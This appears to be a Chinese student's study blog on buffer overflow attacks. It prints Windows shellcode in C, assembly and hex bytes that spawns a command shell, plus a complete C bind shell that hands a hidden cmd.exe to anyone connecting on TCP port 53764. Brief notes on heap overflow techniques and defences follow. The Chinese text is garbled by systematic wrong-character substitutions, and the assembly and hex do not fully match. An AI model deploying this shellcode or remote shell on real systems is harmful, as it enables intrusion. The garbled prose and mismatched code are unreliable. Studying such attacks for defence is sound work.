    下面这段代码是 C 语言版 Windows 本地 Shellcode 程序。即便用LoadLibrary()函数加载msvcrt.dll 动态连接库,并经过GetProcAddress()函数得到system 函数的加载入口地址,赋值给 ProcAdd 函数指针,而后经过函数指针调用 system() 函数, 启动命令行 Shell:为了使得目标程序在攻击以后正常终止,Shellcode 中还能够调用exit()函数退出当前进程。
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
typedef void (*MYPROC2)(int);
int main()
{
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        MYPROC2 ProcAdd2;
        char dllbuf[11]  = "msvcrt.dll";
        char sysbuf[7] = "system";
        char cmdbuf[16] = "command.com";
        char sysbuf2[5] = "exit";
        LibHandle = LoadLibrary(dllbuf);
        ProcAdd = (MYPROC)GetProcAddress(
			LibHandle, sysbuf);
        (ProcAdd) (cmdbuf);

        ProcAdd2 = (MYPROC2) GetProcAddress(
			LibHandle, sysbuf2);
		(ProcAdd2)(0);
}

接下来咱们将其翻译成汇编语言,获得的结果以下:

push ebp
    mov ebp,esp
    xor eax,eax
    push eax
    mov byte ptr[ebp-0Ch],4Dh
    mov byte ptr[ebp-0Bh],53h
    mov byte ptr[ebp-0Ah],56h
    mov byte ptr[ebp-09h],43h
    mov byte ptr[ebp-08h],52h
    mov byte ptr[ebp-07h],54h
    mov byte ptr[ebp-06h],2Eh
    mov byte ptr[ebp-05h],44h
    mov byte ptr[ebp-04h],4Ch
    mov byte ptr[ebp-03h],4Ch
    mov edx,0x77E5D961   
    push edx
    lea eax,[ebp-0Ch]
    push eax
    call dword ptr[ebp-10h]
    /* system("command.com") */
    mov esp,ebp               
    push ebp              
    mov ebp,esp               
    xor edi,edi                 
    push edi                
    sub esp,08h                 
    mov byte ptr [ebp-0ch],63h  
    mov byte ptr [ebp-0bh],6fh  
    mov byte ptr [ebp-0ah],6dh  
    mov byte ptr [ebp-09h],6Dh  
    mov byte ptr [ebp-08h],61h  
    mov byte ptr [ebp-07h],6eh  
    mov byte ptr [ebp-06h],64h  
    mov byte ptr [ebp-05h],2Eh  
    mov byte ptr [ebp-04h],63h  
    mov byte ptr [ebp-03h],6fh  
    mov byte ptr [ebp-02h],6dh  
    lea eax,[ebp-0ch]           
    push eax                    
    mov eax, 0x77bf8044         
    call eax                    
    /* exit */
    push ebp
    mov ebp,esp
    mov edx,0x77c07adc
    push edx
    xor eax,eax
    push eax
    call dword ptr[ebp-04h]

最后翻译为二进制机器码

char shellcode[] = 

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8"
"\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x61\xD9\xE5\x77\x52"
"\x8D\x45\xF4\x50\xFF\x55\xF0\x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x08\xC6\x45\xF4\x63\xC6\x45\xF5\x6F\xC6"
"\x45\xF6\x6D\xC6\x45\xF7\x6D\xC6\x45\xF8\x61\xC6\x45\xF9\x6E\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x63"
"\xC6\x45\xFD\x6F\xC6\x45\xFE\x6D\x8D\x45\xF4\x50\xB8\x44\x80\xBF\x77\xFF\xD0\x55\x8B\xEC\xBA\xDC\x7A\xC0\x77"
"\x52\x33\xC0\x50\xFF\x55\xFC";
  • Windows 远程 Shellcode:
    Windows 远程 Shellcode 的 C 语言实现示例代码以下
#include <winsock2.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")

int main()
{
        WSADATA wsa;
        SOCKET listenFD;
        char Buff[1024];
        int ret;

        WSAStartup(MAKEWORD(2,2),&wsa);

        listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

        struct sockaddr_in server;

        server.sin_family = AF_INET;
        server.sin_port = htons(53764);
        server.sin_addr.s_addr=ADDR_ANY;
        ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
        ret=listen(listenFD,2);
        int iAddrSize = sizeof(server);
        SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
        这段代码是用来创建一个Tcp Server的,咱们先申请一个socketfd,
        使用53764(随便,多少都行)做为这个socket链接的端口,bind他,
        而后在这个端口上等待链接listen。程序阻塞在accept函数直到有
        client链接上来。
*/
        SECURITY_ATTRIBUTES sa;
        sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
        HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

        ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
        ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
        建立两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。
*/
        STARTUPINFO si;
        ZeroMemory(&si,sizeof(si));
        si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        si.hStdInput = hReadPipe2;
        si.hStdOutput = si.hStdError = hWritePipe1;
        char cmdLine[] = "cmd.exe";
        PROCESS_INFORMATION ProcessInformation;

        ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
/*
        这段代码建立了一个shell(cmd.exe),而且把cmd.exe的标准输入用第二个管道的读句柄替换。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换。
        这两个管道的逻辑示意图以下:
        (父进程)    read<---〔管道一〕<---write  标准输出(cmd.exe子进程)
        (父进程)   write--->〔管道二〕--->read   标准输入(cmd.exe子进程)
*/

        unsigned long lBytesRead;
        while(1)        {
                ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
                if(lBytesRead)  {
                        ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
                        if(!ret)        break;
                        ret=send(clientFD,Buff,lBytesRead,0);
                        if(ret<=0)      break;
                }else   {
                        lBytesRead=recv(clientFD,Buff,1024,0);
                        if(lBytesRead<=0)       break;
                        ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0)
;
                        if(!ret)        break;
                }
        }
/*
        这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一,看看shell是否有输出。若是有就readfile读出来,并发送给客户。若是没有,就去接受客户的输入。并 writefile 写入管道传递给shell.
        这两个管道与client和server的配合逻辑图以下:
        输入命令(Client)        <-- send(父进程)read<--〔管道一〕<--write 标准输出(cmd.exe子进程)
        得到结果(Client)        recv-->(父进程)write-->〔管道二〕-->read   标准输入(cmd.exe子进程)

*/
        return 0;
}

1.5 堆溢出攻击

堆溢出(Heap Overflow)是缓冲区溢出中第二种类型的攻击方式,因为堆中的内存分配与管理机制较栈更为复杂,不一样操做系统平台的实现机制都具备显著的差别,同时经过堆中的缓冲区溢出控制目标程序执行流程须要更精妙的构造,所以堆溢出攻击的难度较栈溢出要复杂不少,真正掌握、理解并运用堆溢出攻击也更为困难一些。
下面简要地经过对函数指针改写、C++类对象虚函数表改写以及 Linux 下堆管埋漏洞攻击案例讲解,来讲明堆溢出攻击的基本原理

  • 函数指针改写:这种攻击方式要求被溢出的缓冲区临近全局函数指针存储地址,且在其低地址方向上。若是向缓冲区填充数据的时候,若是没有边界控制和判断的话,缓冲区溢出就会天然的覆盖函数指针所在的内存区,从而改写函数指针的指向地址,则程序在使用这个函数指针调用原先的指望函数的时候就会转而执行 Shellcode

  • C++ 类对象虚函数表改写:C++类经过虚函数提供了一种 Late bingding 运行时绑定机制,编译器为每一个虚函数的类创建起虚函数表、存放虚函数的地址,并在每一个类对象的内存区中放入一个指向虚函数表的指针。对于使用了难函数机制的C++ 类, 若是它的类成员变量中存在可被溢出的缓冲区,那么就能够进行堆溢出攻击,经过覆盖类对象的虑函数指针,使只指向一个特殊构造的虚函数表, 从而转向执行攻击者恶意注入的指令。

  • Linux下堆管理 glibc 库 free() 函数自己漏洞:Linux操做系统的堆管理是经过 glibc 库来实现的。其中对于堆管理的算法称为 dlmalloc。其经过称为 Bin 的双向循环链表来保存内存空闲块的信息。glibc 库中的 free 函数在内存回收的过程当中,须要将已经释放的空闲块和与之相邻的空闲块进行合并。经过精心构造空闲块,在空闲块合并的过程当中,将会发生位置覆盖。

1.6 缓冲区溢出攻击的防护技术

  • 尝试杜绝溢出的防护技术:解决缓冲区溢出攻击最根本的方法是编写正确的、不存在缓冲区溢出安全漏洞的软件代码,但因为C/C++语言做为效率优先的语言,很容易就会出现缓冲区溢出;尝试经过Fuzz等注入测试的方法来寻找程序漏洞,可是这不能找到全部的漏洞;或者经过在编译器上引入针对缓冲区的边界检查保护机制。

  • 容许溢出但不让程序改变执行流程的防护技术:这种防护技术容许溢出发生,但对可能影响到程序流程的关键数据结构实施严密的安全保护,不让程序改变其执行流程,从而阻断溢出攻击。

  • 没法让攻击代码执行的防护技术:这种防护技术尝试解决冯·诺依曼体系的本质缺陷,经过堆栈不可执行限制来防护缓冲区溢出攻击。

2. 实践过程

3. 学习中遇到的问题及解决

  • 问题1:对汇编语言不熟悉
  • 问题1解决方案:经过上网搜集资料,边学习边看

4. 学习感想和体会

首先感谢老师体谅咱们,其次因为对 linux 系统结构和汇编语言的知识不太熟悉,又去上网搜集了一些资料学习而且翻了翻本身之前写过的博客,但仍是感受理解的不够深刻,仍是要多学习

参考资料

网络攻防技术与实践
经常使用的汇编语言指令
不一样状况下的高地址与低地址
execl()函数与execlp()函数